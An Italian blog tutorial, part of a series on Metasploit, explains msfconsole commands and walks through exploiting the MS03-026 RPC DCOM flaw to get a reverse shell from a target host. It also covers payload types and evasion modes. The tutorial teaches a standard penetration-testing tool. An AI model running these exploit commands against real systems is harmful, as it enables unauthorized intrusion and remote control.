In questa terza parte della serie dedicata a Metasploit Framework, dopo una breve panoramica dei principali strumenti, vi darò le nozioni basilari sulle modalità d'uso della msfconsole, in particolare mi soffermerò sull'uso dei moduli Exploit e Payload.
Usare Metasploit
Innanzitutto vorrei richiamare alla vostra attenzione i diversi strumenti che Metasploit ci mette a disposizione.
Osservate il contenuto della cartella di installazione
- msfweb permette di lanciare gli attacchi tramite una comoda interfaccia web.
- msfgui è una classica interfaccia grafica che utilizza un "assistente" (un wizard) per la composizione di un attacco, se pur molto limitato si tratta di un approccio ancora più semplice e veloce rispetto all'interfaccia web. Va fatto notare che questa funzionalità permette di utilizzare anche la modalità autopwn della quale parleremo più avanti.
- msfconsole è il tipo di approccio più completo e si tratta di una console, una interfaccia testuale interattiva, tramite la quale è possibile usufruire appieno delle potenzialità del framework.
- msfcli è un client, una console non interattiva che facilita usi avanzati del framework come ad esempio l'automatizzazione tramite script.
- msfpayload è uno strumento per la generazione di payload in modalità stand-alone
- msfencode permette di codificare degli shellcode con finalità di evasione IDS oppure per evitare eventuali bad-chars (caratteri non consentiti dall'applicazione attaccata)
- msfd permette di eseguire il framework in modalità servizio (demone) al fine di renderlo utilizzabile da remoto attraverso connessioni client (come client potete usare anche i semplici telnet o netcat); ogni client avrà a disposizione una propria interfaccia msfconsole totalmente indipendente.
Vediamo alcuni screenshot dei vari strumenti appena descritti
In questo articolo vi mostrerò l'uso della msfconsole in quanto ritengo che questo strumento costituisca l'approccio più completo alle funzionalità del framework, senza contare il fatto che quando sarete in grado di lanciare un attacco tramite msfconsole utilizzare gli altri strumenti risulterà essere una operazione banalissima... e forse anche non più necessaria.
Ho volutamente tralasciato msfopcode ed msfpescan poiché sono strumenti che risolvono bisogni specifici di chi scrive exploit personalizzati, in ogni caso sono riservati ad un utenza di tipo avanzata.
La Console
Aprite un terminale e raggiungete la cartella del framework, per eseguire la console sarà sufficiente fornire il comando
sudo ./msfconsole
N.B: quando utilizzate la console vi consiglio di tenere il terminale a tutto schermo, a seconda delle dimensioni del Desktop può aumentare sensibilmente la leggibilità del testo restituito in output.
Digitare help ci restituirà una breve lista dei comandi disponibili
Iniziamo subito a prendere confidenza con lo strumento... il comando show mostra la lista completa dei moduli di un determinato tipo, per esempio
show exploits
ci restituisce la lista completa degli exploit disponibili; tenere il framework aggiornato vi permette anche di ottenere tutti i nuovi exploit.
show payloads
ci restituisce la lista completa dei payload utilizzabili con gli exploit
Allo stesso modo anche i comandi
show encoders
show auxiliary
show nops
restituiscono le rispettive liste di moduli
In questo momento parleremo soltanto degli Exploit e dei Payload ma intendo comunque fare un minimo di chiarezza.
- Il termine exploit [13] (dall'inglese "to exploit" - "sfruttare") in informatica identifica un metodo che è in grado di sfruttare i problemi che affliggono un sistema operativo oppure una determinata applicazione al fine di permettere all'attaccante di eseguire un payload sul sistema attaccato. Un exploit potrebbe anche essere studiato per creare un disservizio, in questo caso parliamo di DoS (Denial of Service) [14]
- Con il termine payload (a volte chiamato anche shellcode [15]), attenendosi all'argomento che stiamo trattando, ci riferiamo ad una sequenza di comandi che vengono eseguiti grazie ad un exploit e che determinano il tipo di impatto che l'attacco avrà sul sistema bersaglio. Un payload potrebbe per esempio essere costituito da un codice che ha lo scopo di creare un utente amministrativo sul sistema attaccato, oppure che fornisce all'attaccante una shell dei comandi in grado di controllare la macchina remota... e così via.
- Gli encoders sono algoritmi in grado di camuffare un payload al fine di renderlo invisibile ai sistemi di Intrusion Detection (IDS).
- I moduli ausiliari (auxiliary) sono dei piccoli programmi che si occupano invece di eseguire azioni specifiche come ad esempio una scansione di rete, una operazione di fuzzing, un attacco DoS, sniffing di credenziali, ecc...
- I moduli nop servono per generare istruzioni di tipo no-operation che hanno lo scopo di riempire il buffer, la memoria di un sistema. Questo tipo di modulo può tornare utile per la scrittura di exploit personalizzati.
Altri comandi generici:
- "back" permette di tornare al contesto precedente qualora abbiate utilizzato comandi che caricano delle sottoroutine, ad esempio "load" e "use".
- "banner" ripropone il banner descrittivo che viene mostrato all'avvio della msfconsole.
- "cd" cambia la directory di lavoro corrente, all'interno della msfconsole è infatti possibile utilizzare alcuni comandi di shell come appunto cd, "dir", "ls"... se utilizzerete appieno le funzionalità del framework capirete il perché.
- "load", "loadpath" e "unload" servono per caricare/scaricare alcuni plugin esterni al framework, come ad esempio db_sqlite3 che permette di utilizzare funzionalità database all'interno di Metasploit; avrò probabilmente modo di trattare questi comandi in qualche altro articolo.
- "quit" esce dalla msfconsole.
- "sessions" serve per gestire le sessioni, ogni volta che un attacco avrà esito positivo verrà creata una sessione, con questo comando è possibile visualizzarne la lista, entrare/uscire da esse, oppure terminarle in maniera forzata.
- "use" serve per selezionare i moduli da utilizzare, lo incontreremo in questo articolo.
- "set" ed "unset" servono ad impostare o resettare i valori assegnati alle variabli, in questo articolo utilizzeremo le variabli percui ne vedrete l'applicazione.
- "version" mostra la versione del framework e della msfconsole.
Gli exploit e i payload
Il primo passo per attaccare un sistema tramite Metasploit, tralasciando ovviamente la scansione dei servizi, consiste nel scegliere uno o più exploit in grado di sfruttare le vulnerabilità che potrebbero affliggerlo.
N.B: nmap, se installato sul sistema, è utilizzabile anche all'interno della msfconsole; provate pure a digitare il comando "nmap" e osservatene la risposta.
Quando poco fa avete eseguito il comando show exploits avrete sicuramente notato che gli exploit sono catalogati in categorie e sottocategorie, più o meno il criterio di catalogazione rispecchia la seguente forma
sistema operativo / servizio-applicazione / vulnerabilità
lo stesso vale per i payload, questo sistema (introdotto nella versione 3 del framework) rende molto più intuitiva la ricerca dell'exploit e del payload da utilizzare.
L'exploit che utilizzerò per questa dimostrazione è quello che sfrutta il famoso overflow dell'interfaccia RPC DCOM (ricordate il Worm W32.Blaster [17]?), vediamo come visualizzare maggiori informazioni su di esso
info windows/dcerpc/ms03_026_dcom
La porta 135 (RPC) del bersaglio è raggiungibile, questo exploit è proprio ciò che fa al caso nostro... selezioniamolo tramite il comando use
use windows/dcerpc/ms03_026_dcom
Di conseguenza al comando use il prompt dei comandi è stato modificato, infatti ora indica che stiamo utilizzando l'exploit specificato ed abbiamo perciò accesso ad un altra serie di opzioni, provate ad eseguire il comando show options
show options
L'output di questo comando mira a renderci consapevoli delle possibili configurazioni supportate dal modulo exploit che abbiamo selezionato, tali configurazioni possono essere fatte tramite il comando set. L'exploit preso in esame è molto semplice, stando a quanto indicato dal campo "Required" (obbligatorio) abbiamo la sola necessità di configurare la variabile RHOST ("remote host", ovvero l'indirizzo IP del sistema da attaccare). Non è necessario nemmeno selezionare un sistema operativo target in quanto questo modulo viene dichiarato come Universal (universale).
Selezioniamo allora il nostro RHOST
set RHOST 192.168.192.180
Se provate ad eseguire nuovamente il comando show options noterete che la variabile RHOST risulta ora impostata
Dunque... abbiamo selezionato un exploit, un bersaglio... non ci resta che selezionare un payload, ovvero l'azione che vogliamo venga eseguita sul sistema remoto qualora l'exploit andasse a buon fine.
set PAYLOAD windows/shell/reverse_tcp
Questo payload fa in modo che il sistema attaccato si connetta al nostro computer fornendoci una shell dei comandi tramite la quale avremo la possibilità di controllarlo, tra poco elencherò brevemente le varie tipologie di payload ma per il momento, per non creare confusione, seguite solamente i miei passi.
Se eseguite nuovamente il comando show options vedrete che alle precedenti opzioni relative all'exploit si sono aggiunte quelle relative al payload selezionato, anche i payload infatti hanno bisogno di configurazioni.... alcuni più di altri.
show options
L'unico campo obbligatorio che non risulta compilato è LHOST ("local host", ovvero l'indirizzo IP locale del nostro computer); abbiamo detto infatti che il payload in questione farà in modo che il sistema remoto si connetta al nostro computer quindi avrà ovviamente bisogno di conoscerne l'indirizzo IP.
set LHOST 192.168.192.3
Ancora una volta, eseguendo show options noterete che anche il modulo payload è ora completamente configurato.
Adesso che tutte le variabili obbligatorie sono state correttamente impostate non resterebbe che lanciare l'attacco tramite il comando exploit... nel caso in cui vi stiate chiedendo se esista la possibilità di eseguire una verifica preventiva sulla vulnerabilità del sistema bersaglio, la sezione "Exploit Commands" dell'help vi fornirà la risposta alla domanda.
help
Il comando check permette infatti di eseguire una analisi preventiva del sistema remoto, purtroppo però non tutti gli exploit supportano questa funzionalità. Il nostro ms03_026_dcom per esempio non supporta il check.
Quando vi sentite pronti eseguite il comando exploit per dare il via al processo d'attacco.
exploit
Ecco il risultato
Una volta che avrete terminato di utilizzare la shell dei comandi sarà possibile chiuderla tramite il comando exit oppure con la combinazione di tasti control-c (questa termina forzatamente la sessione, se possibile non utilizzatela).
Non c'è molto da aggiungere, l'utilizzo di Metasploit è semplice ed intuitivo, le azioni da eseguire sono veramente poche. Ovviamente le sue funzionalità non si limitano soltanto a quanto abbiamo visto in questo breve articolo, in futuro ci sarà sicuramente spazio per approfondirne alcuni aspetti specifici.
I payload in dettaglio
Poco fa ho parlato dei moduli payload e per non creare confusione ho evitato di entrare un po' più nel dattaglio, vediamoli ora.
Innanzitutto occorre dire che le tipologie di payload messe a disposizione sono principalmente queste:
- adduser, aggiungono un account utente nel sistema attaccato.
- dllinject, iniettano nel sistema una libreria arbitraria.
- download_exec, scaricano ed eseguono un eseguibile arbitrario nel sistema attaccato.
- exec, eseguono un comando arbitrario nel sistema attaccato.
- meterpreter, il coltellino svizzero dell'attacco alle piattaforme windows, è stato sviluppato appositamente per Metasploit e permette di eseguire una grande varietà di comandi sul sistema attaccato, ho in programma di scrivere qualcosa su di esso in futuro.
- shell, permettono di ottenere un prompt dei comandi sul sistema attaccato.
- upexec, permettono l'upload e l'esecuzione di un eseguibile arbitrario sul sistema attaccato.
- vncinject, iniettano ed eseguono una sessione VNC sul sistema attaccato, questo permette all'attaccante di ottenere il controllo remoto della sessione utente.
Ognuno di questi payload può essere eseguito in varie modalità, la scelta è dettata dalla situazione nella quale l'attaccante si trova ad operare. Per esempio: se il sistema fosse protetto da firewall e volessimo comunque ottenere un prompt dei comandi su di esso sarebbe necessario utilizzare una modalità reverse shell (Reverse TCP Stager/Inline) piuttosto che una connessione diretta (Bind TCP Stager/Inline), oppure se il sistema remoto fosse protetto da un firewall in grado di fare ispezione dei pacchetti a livello applicativo (application filter) potrebbe esistere la necessità di eseguire il payload tramite PassiveX Reverse HTTP Tunneling Stager, in questo caso verrà dapprima modificato il registro di sistema e poi lanciato Internet Explorer il quale sarà a questo punto configurato per caricare un controllo ActiveX in grado di eseguire il tunneling HTTP del payload verso il nostro computer (questa modalità è in grado di sfruttare anche le configurazioni di proxy e autenticazione Internet).
Riassumendo... ogni tipologia di payload sopra elencata supporta quindi le modalità appena descritte, ovvero: Reverse TCP Stager/Inline, Bind TCP Stager/Inline e PassiveX Reverse HTTP Tunneling Stager.
Risorse in rete
- wiki book [28]
- Metasploit Framework User Guide [29]
- Metasploit Framework Developer Guide [30]
- Metasploit Blog [31]
Autore
Mirko Iodice
mirko -at- notageek (.dot) it